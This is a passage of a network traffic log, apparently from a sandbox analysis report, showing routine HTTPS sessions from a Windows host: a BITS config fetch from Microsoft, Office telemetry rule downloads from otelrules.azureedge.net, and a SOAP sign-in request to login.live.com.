2024-11-28 14:17:29 UTC	16384	IN	Data Raw: 86 2b aa f8 77 6a 9a b4 d7 da 4b ac 91 ff 00 69 5a 37 94 ab 3e c4 f3 10 6e 1b f3 db 8a 25 1d 0d 28 a6 df 2f 73 07 4b d4 64 b8 99 43 c0 d2 0d c1 be f6 d5 91 c7 f7 8f 6a bd 30 9a de 48 61 13 b4 9e 63 67 f7 59 dc df de fa 6d a8 b4 2b 73 6f 71 10 db 1e ed c5 24 66 f9 9a 33 e8 2a cf 8a 2c a4 8a de 3b e4 8a 78 fe d3 21 2a aa bb 51 93 18 24 01 f7 73 de b3 94 52 96 9b 07 2b 50 bb dc c8 b8 62 fa b2 c7 25 dc 9f 65 dd f7 a3 fe 20 39 e2 b6 ed e0 dd 6a b1 c5 17 97 12 c8 0b c9 e6 7f 1f 61 ec dd 2b 0a c7 4f 9e 6d c0 6e f9 7e 76 66 8f e5 c0 e9 83 db 9a e8 b5 47 df 67 6b 6e 2d a3 61 e5 8f 95 9b b8 ec 1b a1 3e f8 a8 ab f1 24 99 34 af 7d 8b b6 13 59 5a da cb 0b 79 7a 96 ef bd b9 48 11 be 7b b9 eb f4 1c 55 0b 8b 10 be 6a 5e 2d b4 f7 17 32 66 35 81 bf d5 9c e4 11 f4 e9 8a ce Data Ascii: +wjKiZ7>n%(/sKdCj0HacgYm+soq$f3,;x!Q$sR+Pb%e 9ja+Omn~vfGgkn-a>$4}YZyzH{Uj^-2f5
2024-11-28 14:17:29 UTC	16384	IN	Data Raw: 7d e5 84 9e b9 1d cf d7 ad 73 fb 1e 5b f5 67 4f b6 4d 5b 61 37 08 61 9e 09 15 59 a5 c1 56 5f e1 c7 f4 f6 a8 65 4b 26 ba 84 89 57 6b 36 24 6f ee f6 cf e2 6a 47 90 bd af ef 62 95 8e d1 ba 46 f9 7b e4 8f 6a af 15 be 6c db 0a aa f2 3e 37 33 6e 6f ca a9 47 76 73 ca 2d 3f 23 77 c3 3e 55 a5 c4 f2 8d bf 67 66 2a cc cd f2 e7 b6 3f c2 93 5c bd 02 ce ea 28 db cc 33 46 37 7c a7 6b 1c f6 f5 c7 5a 49 2c ed e0 bc 58 87 98 d1 b4 61 64 69 18 2e d3 8e c3 a6 49 f4 a8 54 c5 37 f0 f9 86 05 09 e5 ff 00 0e 33 8c f3 eb f9 d7 2b 49 cb 9f 73 a9 d5 fd df 22 31 af e7 b8 10 cb 34 8a b9 69 d4 b7 cd f7 40 1c 0e 2a dd a5 c2 a5 bc 51 1d cb 33 64 ed da 36 e0 f4 19 ad 96 b4 48 a4 8a 43 3e d2 cb 95 8d 54 32 36 3a 73 59 f7 36 e2 48 e4 96 4d aa b1 63 ee b7 0c 73 fc ab a6 35 14 d1 cd ca ef 7b Data Ascii: }s[gOM[a7aYV_eK&Wk6$ojGbF{jl>73noGvs-?#w>Ugf?\(3F7\|kZI,Xadi.IT73+Is"14i@Q3d6HC>T26:sY6HMcs5{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	49777	2.23.161.164	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:28 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-28 14:17:29 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=43393 Date: Thu, 28 Nov 2024 14:17:29 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-28 14:17:29 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.6	49776	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:29 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 14:17:29 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:29 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: baa0830a-001e-0082-4291-3f5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T141729Z-174f7845968ljs8phC1EWRe6en0000000y9000000000eba7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 14:17:29 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.6	49778	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:29 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 14:17:29 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:29 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 19b520d0-901e-0015-6e4e-41b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T141729Z-174f78459684bddphC1EWRbht40000000y7000000000aswg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 14:17:29 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.6	49780	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:29 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 14:17:29 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:29 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 5810d2d2-301e-0000-6891-3feecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T141729Z-174f7845968vqt9xhC1EWRgten0000000ykg000000008h00 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 14:17:29 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.6	49781	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:30 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 14:17:30 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:30 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 56bedb93-201e-0033-7607-41b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T141730Z-174f7845968swgbqhC1EWRmnb40000000yn000000000b7ym x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 14:17:30 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.6	49782	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:31 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 14:17:31 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:31 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: b56a1ebf-a01e-003d-5b56-4198d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T141731Z-174f7845968pf68xhC1EWRr4h80000000yqg00000000ca9p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 14:17:31 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.6	49783	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:31 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 14:17:32 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:31 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 48138194-301e-0020-3858-406299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T141731Z-174f78459685m244hC1EWRgp2c0000000yc00000000080sg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 14:17:32 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.6	49784	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:31 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 14:17:32 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:31 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: e52ede4a-001e-0017-0591-3f0c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T141731Z-174f7845968pf68xhC1EWRr4h80000000yqg00000000caau x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 14:17:32 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.6	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:32 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 14:17:33 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:33 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: c473f14b-c01e-00a2-5a07-412327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T141733Z-174f7845968ljs8phC1EWRe6en0000000y9000000000ebe6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 14:17:33 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.6	49787	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:33 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 14:17:34 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:34 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 6760f0bc-801e-002a-1f91-3f31dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T141734Z-174f7845968qj8jrhC1EWRh41s0000000yd000000000btz6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 14:17:34 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.6	49786	40.126.53.19	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:34 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-28 14:17:34 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-28 14:17:38 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 28 Nov 2024 14:16:38 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C558_BL2 x-ms-request-id: f3b424ad-27b3-4d99-8f4b-3e20981206c3 PPServer: PPV: 30 H: BL02EPF0001D8C8 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 28 Nov 2024 14:17:37 GMT Connection: close Content-Length: 11410
